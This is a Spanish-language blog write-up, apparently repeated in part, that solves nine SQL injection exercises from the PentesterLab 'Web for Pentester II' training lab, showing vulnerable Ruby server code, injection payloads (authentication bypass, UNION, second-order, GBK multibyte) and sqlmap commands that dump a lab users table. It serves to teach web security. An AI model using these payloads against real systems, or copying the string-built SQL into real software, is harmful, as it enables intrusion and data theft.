No creáis que ceso en mi empeño de seguir haciendo labs, concretamente de Pentesterlab he hecho ya casi todos (los gratuitos), sólo que no quiero inundar el blog con mil y un solucionarios. Es más, os animo a hacerlos vosotros mismos y practicar, pero sobretodo a disfrutar el camino como meta.
No obstante, si que iré publicando algunos de los que más interesantes me parezcan. En este caso Web for Pentester II, al igual que la primera serie que vimos, más que un laboratorio es una serie de ejercicios para aprender a explotar las vulnerabilidades web más comunes, así que creo que es bastante interesante porque resulta tremendamente didáctico. También contribuiremos a ello añadiendo a cada ejemplo el código del lado del servidor, lo cual "clarea la caja" pero ayuda a adquirir un mayor nivel de compresión.
Además en esta ocasión dejamos un lado PHP para trabajar con Ruby así que ¡manos a la obra!
Ejercicio 1:
El primer ejemplo es el más sencillo y tendremos que evadir la autenticación sin pasar ningún usuario o contraseña. Si inyectamos una comilla simple en seguida obtendremos el mensaje de error de la base de datos:
Con el mensaje de error ya tendremos la consulta, como podremos comprobar en el código del lado del servidor:
SERVIDOR:
Por lo tanto, obtener el payload es 'SELECT * FROM users WHERE username='' or 1=1# es bastante trivial (tenemos que setear que siempre sea true).
PAYLOAD:
Ejercicio 2:
Este ejemplo es la misma vulnerabilidad que la anterior pero el desarrollador se ha asegurado que solo se devuelva un usuario limitando la salida de la base de datos a la página.
SERVIDOR:
Para explotarla necesitaremos hacer uso de limit en SQL que limita la cantidad de registros recibidos por la query.
PAYLOAD:
Ejercicio 3:
En el siguiente ejercicio se escapa la comilla simple ('):
SERVIDOR:
En este caso podemos usar la barra diagonal (\) para escapar la la comilla simple y comtinuar con la sentencia SQL, al que añadiremos la inyección ’ or 1=1# en el campo de la contraseña.
select * from users where username =’\ ‘ and password =’ or 1=1#
Ahora solo tenemos que inyectar el código:
PAYLOAD:
Ejercicio 4:
En este ejemplo la información se pasa por la URL, donde podemos ver fácilmente la consulta.
http://vulnerable/sqlinjection/example4/?req=username%3d%27hacker%27
Decodeando la URL sería:
http://vulnerable/sqlinjection/example4/?req=username='hacker'
SERVIDOR:
Para explotar esta página tenemos que poner el mismo payload que antes ('o 1 = 1 #) en la URL.
PAYLOAD:
http://vulnerable/sqlinjection/example4/?req=username%3d%27%27%20or%201=1#%27
Ejercicio 5:
En este ejemplo la sentencia consulta toda la tabla users pero la salida es limitada por LIMIT:
SERVIDOR:
Para mostrar todos los usuarios necesitamos usar una inyección de SQL basada en union:
PAYLOAD:
http://vulnerable/sqlinjection/example5/?limit=3%20union%20all%20select%20*%20from%20users
Evidentemente también podríamos quitar o modificar el LIMIT a 4.
Ejercicio 6:
El ejercicio 6 es similar al anterior pero utiliza GROUP BY:
http://vulnerable/sqlinjection/example6/?group=username
SERVIDOR:
En este caso podemos volver a usar UNION o quitar directamente el GROUP BY de la URL.
PAYLOAD:
Ejercicio 7:
En este ejemplo, se realizan dos consultas, la primera consulta recupera los detalles del usuario basados en el parámetro ID. El segundo usa el nombre de usuario del registro obtenido previamente para recuperar el usuario.
SERVIDOR:
Para explotar esta vulnerabilidad necesitaremos usar inyecciones SQL ciegas. Sin embargo, dado que se muestran los mensajes de error , podemos usar también inyecciones basadas en error.
Al inyectar una declaración propensa a errores, podemos obtener Información directamente en los mensajes de error en lugar de utilizar un SQLi ciega
PAYLOAD:
Por supuesto, si quitamos el id también nos mostrará todos los usuarios de la tabla.
Ejercicio 8:
Esta es una inyección SQL de segundo orden, esto significa que la página está filtrando la entrada del usuario, pero no los datos en el bd, con el fin de evadir ésto tendremos que hacerlo en 2 pasos
SERVIDOR:
- En primer lugar, tendremos que crear un usuario con el código que deseamos inyectar en la petición (payload)
- Acceder con el usuario para activar el payload
PAYLOAD:
Ejercicio 9:
Este último ejemplo muestra una página que utiliza mysql-real-escape-string, una función PHP que elimina cualquier carácter de escape de un campo dado, bloqueando las inyecciones de los atacantes en los campos del formulario y URL.
SERVIDOR:
Sin embargo, esta función falla si la base de datos y la configuración de la conexión no están usando el mismo juego de caracteres. En este caso, si la conexión le permite insertar un conjunto de caracteres desde el GBK (GBK es un conjunto de caracteres para el chino simplificado), la función no escapará los caracteres insertados porque son válidos y la base de datos recibirá el payload.
PAYLOAD:
Y hasta aquí los ejercicios de SQLi, nos "vemos" en los siguientes.
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
No obstante, si que iré publicando algunos de los que más interesantes me parezcan. En este caso Web for Pentester II, al igual que la primera serie que vimos, más que un laboratorio es una serie de ejercicios para aprender a explotar las vulnerabilidades web más comunes, así que creo que es bastante interesante porque resulta tremendamente didáctico. También contribuiremos a ello añadiendo a cada ejemplo el código del lado del servidor, lo cual "clarea la caja" pero ayuda a adquirir un mayor nivel de compresión.
Además en esta ocasión dejamos un lado PHP para trabajar con Ruby así que ¡manos a la obra!
Ejercicio 1:
El primer ejemplo es el más sencillo y tendremos que evadir la autenticación sin pasar ningún usuario o contraseña. Si inyectamos una comilla simple en seguida obtendremos el mensaje de error de la base de datos:
Con el mensaje de error ya tendremos la consulta, como podremos comprobar en el código del lado del servidor:
SERVIDOR:
...
get '/' do
res = []
if params['username'] && params['password']
begin
sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
sql+= " AND password='"+params['password']+"'"
ActiveRecord::Base.establish_connection self.class.db
res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
end
if res.size > 0
erb :index
else
erb :login
end
end
...
Por lo tanto, obtener el payload es 'SELECT * FROM users WHERE username='' or 1=1# es bastante trivial (tenemos que setear que siempre sea true).
PAYLOAD:
' or 1=1#
Ejercicio 2:
Este ejemplo es la misma vulnerabilidad que la anterior pero el desarrollador se ha asegurado que solo se devuelva un usuario limitando la salida de la base de datos a la página.
SERVIDOR:
...
get '/' do
res = []
if params['username'] && params['password']
begin
sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
sql+= " AND password='"+params['password']+"'"
ActiveRecord::Base.establish_connection self.class.db
res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
end
if res.size == 1
erb :index
else
erb :login
end
end
...
Para explotarla necesitaremos hacer uso de limit en SQL que limita la cantidad de registros recibidos por la query.
PAYLOAD:
‘ or 1=1 LIMIT 1#
Ejercicio 3:
En el siguiente ejercicio se escapa la comilla simple ('):
SERVIDOR:
...
get '/' do
res = []
if params['username'] && params['password']
begin
params['username'].gsub!("'","")
params['password'].gsub!("'","")
sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
sql+= " AND password='"+params['password']+"'"
ActiveRecord::Base.establish_connection self.class.db
res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
end
if res.size > 0
erb :index
else
erb :login
end
end
...
En este caso podemos usar la barra diagonal (\) para escapar la la comilla simple y comtinuar con la sentencia SQL, al que añadiremos la inyección ’ or 1=1# en el campo de la contraseña.
select * from users where username =’\ ‘ and password =’ or 1=1#
Ahora solo tenemos que inyectar el código:
PAYLOAD:
\
’ or 1=1#
Ejercicio 4:
En este ejemplo la información se pasa por la URL, donde podemos ver fácilmente la consulta.
http://vulnerable/sqlinjection/example4/?req=username%3d%27hacker%27
Decodeando la URL sería:
http://vulnerable/sqlinjection/example4/?req=username='hacker'
SERVIDOR:
...
get '/' do
@res = []
if params['req']
begin
ActiveRecord::Base.establish_connection "sqlinjection_example4"
sql = "SELECT * FROM users WHERE #{params['req']};"
@res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
end
erb :index
end
...
Para explotar esta página tenemos que poner el mismo payload que antes ('o 1 = 1 #) en la URL.
PAYLOAD:
'' or 1=1#'
http://vulnerable/sqlinjection/example4/?req=username%3d%27%27%20or%201=1#%27
Ejercicio 5:
En este ejemplo la sentencia consulta toda la tabla users pero la salida es limitada por LIMIT:
SERVIDOR:
...
get '/' do
ActiveRecord::Base.establish_connection SQLInjectionExample5.db
if params[:limit]
begin
sql = "SELECT * FROM users LIMIT #{params[:limit]};"
@res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
else
sql = "SELECT * FROM users"
@res = ActiveRecord::Base.connection.execute(sql).to_a
end
erb :index
end
...
Para mostrar todos los usuarios necesitamos usar una inyección de SQL basada en union:
PAYLOAD:
union all select * from users
http://vulnerable/sqlinjection/example5/?limit=3%20union%20all%20select%20*%20from%20users
Evidentemente también podríamos quitar o modificar el LIMIT a 4.
Ejercicio 6:
El ejercicio 6 es similar al anterior pero utiliza GROUP BY:
http://vulnerable/sqlinjection/example6/?group=username
SERVIDOR:
...
get '/' do
ActiveRecord::Base.establish_connection SQLInjectionExample6.db
if params[:group]
begin
sql = "SELECT * FROM users GROUP BY #{params[:group]};"
@res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
else
sql = "SELECT * FROM users"
@res = ActiveRecord::Base.connection.execute(sql).to_a
end
erb :index
end
...
En este caso podemos volver a usar UNION o quitar directamente el GROUP BY de la URL.
PAYLOAD:
http://vulnerable/sqlinjection/example6/?union all select * from users
http://vulnerable/sqlinjection/example6/?
Ejercicio 7:
En este ejemplo, se realizan dos consultas, la primera consulta recupera los detalles del usuario basados en el parámetro ID. El segundo usa el nombre de usuario del registro obtenido previamente para recuperar el usuario.
SERVIDOR:
...
get '/' do
ActiveRecord::Base.establish_connection SQLInjectionExample6.db
if params[:id]
begin
sql = "SELECT * FROM users WHERE id=#{params[:id]}"
@r = ActiveRecord::Base.connection.execute(sql).to_a
if @r.size == 1
name = @r.first[1]
sql = "SELECT * FROM users WHERE username='#{name}'"
@res = ActiveRecord::Base.connection.execute(sql).to_a
else
raise Exception, "Should only return one user..."
end
rescue Exception => e
@message = e.to_s
end
else
sql = "SELECT * FROM users"
@res = ActiveRecord::Base.connection.execute(sql).to_a
end
erb :index
end
...
Para explotar esta vulnerabilidad necesitaremos usar inyecciones SQL ciegas. Sin embargo, dado que se muestran los mensajes de error , podemos usar también inyecciones basadas en error.
Al inyectar una declaración propensa a errores, podemos obtener Información directamente en los mensajes de error en lugar de utilizar un SQLi ciega
PAYLOAD:
sqlmap -u http://vulnerable/sqlinjection/example7/?id=1
[01:42:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[01:42:31] [INFO] fetched data logged to text files under '/home/vmotos/.sqlmap/output/vulnerable'
sqlmap -u http://vulnerable/sqlinjection/example7/?id=1 --tables -D sqlinjection_example7
Database: sqlinjection_example7
[1 table]
+-------+
| users |
+-------+
sqlmap -u http://vulnerable/sqlinjection/example7/?id=1 -D sqlinjection_example7 -T users --dump
Database: sqlinjection_example7
Table: users
[13 entries]
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | user1 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 2 | user1 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 3 | user2 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 4 | user2 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 5 | user2 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 6 | user2 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 7 | user3 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 8 | user2 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 9 | user2 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 10 | user2 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 11 | user4 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 12 | user4 | 19418cb4fdfbe026c47b21f90ffddf9a |
| 13 | user4 | 19418cb4fdfbe026c47b21f90ffddf9a |
+----+----------+----------------------------------+
[01:46:32] [INFO] table 'sqlinjection_example7.users' dumped to CSV file '/home/vmotos/.sqlmap/output/vulnerable/dump/sqlinjection_example7/users.csv'
[01:46:32] [INFO] fetched data logged to text files under '/home/vmotos/.sqlmap/output/vulnerable'
Por supuesto, si quitamos el id también nos mostrará todos los usuarios de la tabla.
Ejercicio 8:
Esta es una inyección SQL de segundo orden, esto significa que la página está filtrando la entrada del usuario, pero no los datos en el bd, con el fin de evadir ésto tendremos que hacerlo en 2 pasos
SERVIDOR:
...
get '/' do
@users = User.all
erb :index
end
get "/users/:id" do
ActiveRecord::Base.establish_connection SQLInjectionExample8.db
@user = User.find(params[:id])
if @user
begin
sql = "SELECT * FROM users WHERE username='#{@user.username}' "
@res = ActiveRecord::Base.connection.execute(sql).to_a[0]
erb :user
rescue Exception => e
@message = e.to_s
end
end
end
post '/user' do
User.create(:username => params[:user], :password => Digest::MD5.hexdigest(SEED+params["password"]+SEED))
redirect SQLInjectionExample8.path
end
end
...
- En primer lugar, tendremos que crear un usuario con el código que deseamos inyectar en la petición (payload)
- Acceder con el usuario para activar el payload
PAYLOAD:
password: 1 or 1=1--
Ejercicio 9:
Este último ejemplo muestra una página que utiliza mysql-real-escape-string, una función PHP que elimina cualquier carácter de escape de un campo dado, bloqueando las inyecciones de los atacantes en los campos del formulario y URL.
SERVIDOR:
...
get '/' do
ActiveRecord::Base.establish_connection SQLInjectionExample9.db
res = []
if params['username'] && params['password']
begin
sql= "SET CHARACTER SET 'GBK';"
ActiveRecord::Base.connection.execute(sql)
name = ActiveRecord::Base.connection.quote_string(params[:username])
password = Digest::MD5.hexdigest(SEED+ActiveRecord::Base.connection.quote_string(params[:password]+SEED))
sql = "SELECT * FROM users WHERE username='#{name}'"
sql+= " AND password='"+password+"'"
res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
end
pp res
if res.size > 0
erb :index
else
erb :login
end
end
end
...
Sin embargo, esta función falla si la base de datos y la configuración de la conexión no están usando el mismo juego de caracteres. En este caso, si la conexión le permite insertar un conjunto de caracteres desde el GBK (GBK es un conjunto de caracteres para el chino simplificado), la función no escapará los caracteres insertados porque son válidos y la base de datos recibirá el payload.
PAYLOAD:
呵' or 1=1 #
Y hasta aquí los ejercicios de SQLi, nos "vemos" en los siguientes.
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
SQL Injections | |
---|---|
Authentication | |
Captcha | |
Authorization & Mass Assignment | |
Randomness Issues & MongoDB injection |
Comentarios
Publicar un comentario